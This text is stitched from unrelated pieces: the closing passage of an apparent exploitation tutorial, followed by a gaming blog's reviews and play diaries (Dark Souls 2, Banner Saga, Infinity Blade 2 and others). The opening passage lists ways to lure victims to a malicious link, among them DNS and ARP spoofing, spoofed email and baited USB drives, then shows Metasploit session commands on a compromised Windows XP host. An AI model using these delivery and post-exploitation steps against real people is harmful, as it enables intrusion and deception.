  • Use Ettercap to DNS spoof a target network and redirect them to your malicious URL, example.
  • Use a tool like Social Engineering Toolkit “SET” to send a spoofed email with your malicious link, example.
  • ARP spoof your host network and find a given target that’s using Facebook or one of  many social networks and try to send them the link that way.
  • Try a far out social engineering  attack like purchase several USB drives inject them and mail them to your target with the label “free USB drive”.

Once you have your targets in sight just sit back and wait, once an exploitation has been kicked off you will see the below;

Fig-4 Successful Exploit

Verify you have an active session, session using sessions -l, next connect to that session with sessions -i #, from here you can run help to get a list of possible commands. I simply ran ipconfig and getuid to show that I was on the Windows XPVM and that it was successfully exploited.

Fig-5 Running Commands on exploited host

Fig-6 Popup box on exploited host

In the end there is really not much the average user can do that is not aware of your everyday vulnerability, but us as IT professional need to be in the loop so that we can take back the information and make them aware. Lastly the image in figure 6 should be a dead giveaway that something is up with your computer if you didn’t connect to a share but all of sudden you see one pop-up its time for a “wipe and reinstall.” Have fun until Microsoft patches this one and remember to be responsible. All feedback are welcome.

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First Impression: Dragon’s Crown

You realize almost immediately that Dragons Crown is a repetitive game. But so is Borderlands, and Diablo, and every other lootfest, so what?  So it becomes about the world, and the characters, that carry the rest of the game. Dragon’s Crown is better than most, but a step behind Borderlands 2. I would mention the story, but like any hack n’ slash, you’re moving from point A to point B, causing the story to take a back seat. It does scores some nostalgia points given the time I spent with Odin Sphere and Princess Crown (both the finest examples of 2-D graphics for their respective generations).

Oh, and the hyper sexualized imagery is somehow not as tacked-on as I expected.  But does remain odd, at-best (search “Dragon’s Crown Images” to see immediately what I’m talking about).

4-player is non-stop pandemonium
4-player is non-stop pandemonium

Why I’m sick of Mobile Games

The problem with Boredom

There is a tend in mobile game towards simplicity. There needs to be, as its made for picking up and playing in short bursts. It seems that games have gotten better at nailing this length aspect lately. But what they haven’t improved upon is the actual enjoyment. My tolerance for what constitutes a dull game is much higher on a mobile platform, but even still, so many lack the basic mechanics for enjoyment.

For every Punch Quest and Ridiculous Fishing, there’s dull affairs like Joe Danger Touch and Peggle. Technically proficient, good content depth, but a fucking bore to play. For a couple bucks you don’t ask for depth, you’re just asking for fun.

Gargoyle’s Quest Review

Title:  Gargoyle’s Quest
Maker:   Capcom
Publisher: Armor Games
Platform: Gameboy
Cost: $3.99 (on Nintendo eShop)

AKA, the “Nonexistent Difficulty Curve”

I’ve wanted to play Gargoyle’s Quest ever since I found the Nintendo power card with Firebrand (Red Arremer if you’re a stickler) on the front of it. Described to me as mix between an RPG and an Adventure game, it seemed to straddle that “Zelda 2” spectrum of early Ninentdo games. And while you do walk around in an overview, and there’s a few command prompts, it’s really an action game through and through.

Not sure why he's Green in this one...
Not sure why he’s Green in this one…
I loved my first gameboy. It was my first videogame system, and I literally played it until it died. But even as a child I knew the controls weren’t the most responsive thing in the world.  There’s a button-input delay, but I didn’t care.  And usually it worked out alright, because most games worked around it. When making Gargoyle’s Quest, they either didn’t realize this or didn’t care.  It requires pin point precision in parts that can be absolutely infuriating.  This means that in classic Ghost & Goblins tradition, the first tower is ridiculously hard.  It wouldn’t surprise me if three quarters of the players dropped right there.
This fucking level
This fucking level
However, despite this early difficulty spike, the game becomes significantly more enjoyable as Red’s abilities start to increase. For example, the hover ability at the beginning is more a hindrance than a help.  However, later on you can float in place and pick off enemies one by one.  Play towards the end gives that same feeling as a powered up Mega Man X with a bunch of E-Tanks in reserve.  In fact, most of the abilities in the game: floating, clinging to walls, power-ups, are prescient of what would become staples in later Capcom classics.

So in the end, alls well that ends well.

Review: 3 stars (out of 5)

Memory:  It’s the only game I can remember that doesn’t provide development credits at the end

Infinity Blade 2 Review

Title:  Infinity Blade 2

Maker:   Chair Entertainment and Epic Games
Platform: iOS
Cost: Free from iOS Anniversary (Normally $6.99)

Faded in the Rinse and Repeat

I had fun playing the first Infinity Blade.  There were a lot of flaws but it wore them on its sleeve.  Repetition was necessary because you’re immortal… ah, clever.  And the controls for battles were simple yet effective, at a time when it seemed like only endless runners had made an effective use of the touch-screen.  Even the story, which was still needlessly complex, worked out ok because it was so understated.  A few lines here or there, odd reveals abound, and you’re left with something that your mind could fill in.

Infinity Blade 2 is none of those things.  Err I take that back, it’s all of those things, which is why it’s disappointing.  It’s the same graphics, the same mechanics, just more of it.  The first games graphics were impressive because of when it was released and the unique art design.  The second is a complete recycle of these.  The dialogue that was enjoyable in small doses becomes schlock in long monologues.  It’s only after people keep talking that you realize how little you care about any of the characters.  If they had kept their mouths shut maybe they could have fooled me.  What is perhaps the most unforgivable is that low-hanging fruit like rebalancing the magic system, and improving the grinding level system, remain bizarrely untouched.

One of the few new environments.  But it comes and goes quickly.
A few new environments. A brief detour as most takes place in the same enlarged castle.

The battles are still fun, if growing tired (again recycled), and the secrets that reveal themselves on multiple play-throughs remains an incredibly fresh mechanic that is executed on a high level.   Murdering giant secret bosses was literally the only thing that kept me coming back after the short story runs to completion.  In the end, it’s a incredibly safe game that’s unable to realize why the first was such a success.

Review: 2 stars (out of 5)

Memory:  Accidentally stumbling on a secret boss early and being decimated in seconds.

Dark Souls 2, Days 4-6

Day 4

The stat bonuses are completely revamped. Only just realized that. It still is probably the case that upgraded weapons outperform the “unique” ones, but now the stat bonuses from intellegence, and faith, boost specific elemental damage (ie, magic and lightining damage respectively) , and share on others (fire and dark). It’s an interesting concept, as it presents the possibility of doing something different than a intelligence stacking katana (my final weapons of choice in the first two).

The boss battles are decidedly less epic. They’re still a solid challenge, but many of the bosses lack the grand scale of the original games. The levels do a better job of providing enjoyment, so it’s hard to be mad. The regular enemy cannon fodder (which is a terrible word because they can still be deadly) seems to have shifted to groups. Survival is now a matter of crowd control, isolating members and picking them off slowly. You always had to worry about multiple enemies in the previous games, but now they aggro together, which means 6 small knights chasing after you isn’t an uncommon occurrence.

One of the easier bosses in the series..
One of the easier and less grand bosses of the series..

Day 5

A long break, and I’m concerned with how easy I can come back to the game. Enemies don’t continually respawn, and there’s an erie quiet as you travel through an area that was once full. In a way it’s a sense of progress, and a marker for the places you’ve traversed many times before. It serves as a useful flag after a break, making reentrance much easier.

Shortly after a boss fight my first phantom invasion occurs. I last awhile, but they know what they’re doing, and when I leave an opening they have enough stamina to end me. It mentions the word “Grey” spirit, that’s something new. He does what I think is a surfs up sign over my corpse. Weirdly it makes the costly murder easier to swallow.

The covenants are similar but better this time around.  I learn the “Bell Keepers” are the grey phantoms.  They invade when you enter a certain territory.  This existed in the Nottingham-esque forest of  DS1 as well.  The problem with the forest in DS1, was the area was too large, and you had to hunt them down before the action began.  Here it’s a simple goal, kill the player before they march up the small tower to the boss. Clever idea, probably my favorite covenant ever because of its simplicity.

One of the inferior things this time around are the actual worlds. DS1 had clearly delimitated worlds, each one unique. Sure, it was a bitch to get around, but you always knew where you were. It’s not the case this time, the aesthetics of each world bleeds into the other, the only thing providing clarity is the menu for fast travel at the bonfire.  I realize this after clearing the Bastille, as the Belfry and Sinner’s, are essentially the same thing.

You'll see a lot of this environment
You’ll see a lot of this environment

Day 6

There are a lot more secrets, hidden paths and treasure chests, in DS2. Where as I used to blow past player notes, I become accustomed to reading every player note I come across. I even end up leaving a few. I’m progressing relatively easily, which leads me to believe I’m about to run into a sharp difficulty spike.

Shortly after writing the last paragraph, I drain all of my humanity dying over and over on the same boss. Beginner’s luck the first time, I leave him with a sliver of life when I die. I’m so frustrated, I’m quickly destroyed the next 3 times due to a lack of patience.  I’m out of humanity, so I back track. Trying to find paths I overlooked before. 2000 souls open a path to a “copse”, which seems like they’re searching for nouns. The enemies are easy but I die 10 times on a jump before I realize I can press R1 to prevent myself from rolling off the landing. There must be a thousand people who have gone though the same thing. A quick google search and there’s huge threads of people bitching about the landing.

Dark Souls 2, Days 1-3

Day 1
I’ll keep this travel log spoiler free as best I can, and instead discuss the ebb and flow of a game whose earlier entries I’ve enjoyed a tremendous amount.

My biggest complaint from the first two games, is how beautiful the world was created, while the story was left undeveloped. This is especially true for the DS1, which leaves an insane amount on the table. In DS2, the opening scene is phenomenal, and I watch it several times as I let the controller charge (and because I like the mood it puts me in).

Alone and forgotten, you need to choose a character. This is usually one of the most enjoyable parts of any game for me. In DS2 you have a number of choices, all with a decent amount of experience under their belts. Except for the last, the depraved, soul level 1 (the second lowest is 10), nothing equipped. But I like he description- “Has nothing to fight with, except life-affirming flesh.”  I pick the Depraved, because if you’re going to play a game known for its difficulty, you might as well do it right.

Unknowingly I skip the practice area, which when I finally go back and play it, gives me a weapon (a dagger). But for the first hour or so I’m punching and fleeing from most enemies. I also appreciate how the series will give you access to monster at the beginning that can instantly kill you. This training area is no different, and after I go down I think to myself, “Ah, I should know better!”

At the bottom level, and with a low damage dagger, I have to spam the beginning level a bit. If the last two games have taught me anything, you dump your souls into endurance so the first soul level choices are cut and paste. It is nice to see that the feel of the previous two games has translated well, and I can dance around avoiding damage pretty well. Nothing’s changed, and hours run by quicker than I can remember.

Day 2

Even though most of its familiar (the gradual progression from bonfire-to-bonfire, descending platforms, alternative paths), when I wake up the next day, I’m generally excited to keep playing. I found the beginning world of dark souls disappointing, and all the backtracking grates, and while many people will cry foul with the instant traveling between bonfires, it seems like a perfect alternative to the constant sprinting between already traveled areas.

Forest of Fallen Giants 2

I finally figure out how to light a torch halfway through the first area, not that I’ve realized the value of it yet. It was more the fact that all the unlit pyres were starting worry me. At the boss I’m killed quickly. He’s harder than the first boss in the previous two entries, and  I realize I’m underleveled.  My play style is shield-and-sword, but I’ve avoided putting points in strength, because I had the urge to go for a dex build. But either I need to learn how to parry, or give up the ghost, and just accept the way I actually play.

Day 3

I push if off and decide not to make a decision about the strength vs dex and just keep dumping points into endurance and vitality. The first boss goes down but it takes a couple tries, and a NPC controlled summon. You can fly through the game by summoning live players, but I always felt guilty when I did it in the first Dark Souls.  I would always wind up forcing myself to play without the aid the second time around.
You can stumble on this guy early.  And it's a quick battle when you do.
You can stumble on this guy early. And it’s a quick battle when you do.

There’s significantly less linersity this time around. Bosses come almost immediately when entering areas, so that everytime you enter a fog you run the risk of immediate death. Thanks to fast travel, you can also slowly work your way through multiple areas. Stopping with one, and picking up where the other left off.  You tackle things in bits and pieces. In many ways, the progression has more in common with Demon’s Souls than Dark Souls- skip from world to world, eventually coming back to progress in the ones where you started

Review – Kingdom Rush Frontiers

Title:  Kingdom Rush Frontiers
Maker:   Ironhide Game Studio
Publisher: Armor Games
Platform: iOS
Cost: $1

Probably what freemium should be

At 99 cents, Frontiers technically isn’t a freemium game, but that extra dollar provides so much value over the average shovelware garbage that’s capsizing the app store, that it’s hard to not advocate for it.  That’s not to say the game is perfect, because it’s far from even being great.  What that dollar gives you is a reasonable difficulty curve, normal cool-down periods, and completely optional in-app purchases.  This provides a game that helps kill time as you calmly wait in a doctors office before jamming the keys into the ignition to race back to work afterwards.

It's not beautiful, but there's a few surprises
It’s not beautiful, but it has a few surprises

Oh right, and it’s a tower defense.  No surprises, it’s simply one that’s better than most, but probably not better than Pixeljunk’s.

Review: 3 stars (out of 5)

Memory:  Turn the sound off

First Impression: Don’t Starve

Yeah the game is brutal.  Anyone who starts it up already knows this so there’s not much to complain about there. But the extent of what that means is a bit overwhelming even if you’re prepared for it.  The world is a complete mystery when you start out, and the things that will kill you and help you are constantly surprising.  There’s immediate needs, fire & food, but quickly things turn to science.  And here is where the biggest initial complaint comes in.  Do develop technology you need to build a “Science Machine”, to build one of these guys, you need a lump of gold.  Gold is not that easy to come by, so the first 30 minutes of every game you play is a desperate scramble to find some of this resource.  Once you’ve found it, there’s usually ample amounts, but trying to stumble upon it is one of the more frustrating aspects of the game.

But it keeps you coming back.  Even with nothing to show for it, you keep exploring the beautiful and insane world.  Masochism can be fun.

The Banner Saga Review

Title:  The Banner Saga
Maker:   Stoic
System: Mac
Cost: $25

A display piece

When you see screenshots of the Banner Saga it looks beautiful.  In motion, it doesn’t quite hold true.  This encapsulates most of the game- a series of ideas, all of which could be magnificent, but in reality never come together.  This feeling stretches throughout.  The caravan you drag along serves as nothing else but a glorified high score.  Combat is a cake walk until a massive difficulty spike at the end (hope you didn’t spread your levels).  “War” events don’t seem to serve a purpose, and new character development is heavy at the beginning and nearly non-existent by the end.

The game is the first of a trilogy, and it’s easy to use this as an excuse for lack of execution.  But anytime you pay $25 on Steam, you expect it to be self-contained.  As it stands it’s less than half-realized.  You could also make a case for the game being too short, but why fault a game for removing the padding?  The pace is brisk, with little fluff, and to it’s credit it’s easy to sink yourself in.

The story remains the high note, and the dialogue is decent but forgettable.  Much has been said about the moral ambiguity the game provides, and while it’s revolutionary next to the black and white morality of Shin Megami Tensei or Mass Effect, most of the time it feels arbituary.  You make a decision and just wait to year if the wheel stops in your favor.

In the end, it’s clear that what was written on white boards in development sessions became to much in execution, and needed to be paired back considerably.  A reduction isn’t necessarily a bad thing, but it is when compromised versions of the original ideas are left in the game.

Review: 2 Stars (out of 5)

Memory:  The setting.  I want more games with Nordic influence.

Epilogue: Crimson Shroud

It’s encouraging to realize that a game that was crafted for a short play experience, could be designed so well as to have you coming back for more.  Crimson Shroud’s New Game+ is one of these rarities: unlocking new locations, providing new weapons and dialogue, in addition to the obligatory second ending.  The system is also deep enough to have little tricks, which are only made apparent after extended play.  For example, rolling the dice for everything begins to bog down the experience, but then you realize you can “tilt” the dice off of the screen and into your inventory.  Small feature, but adds a late game differentiator. The best part however is that the difficult truly hits it’s sweet spot.  The normal difficulty keeps you thinking, but NG+ actually has you planning and using the entire range of tools at your disposal.  You can still grind it out, but you’ll have to utilize item manipulation.

More jovial than the game...
More jovial than the game…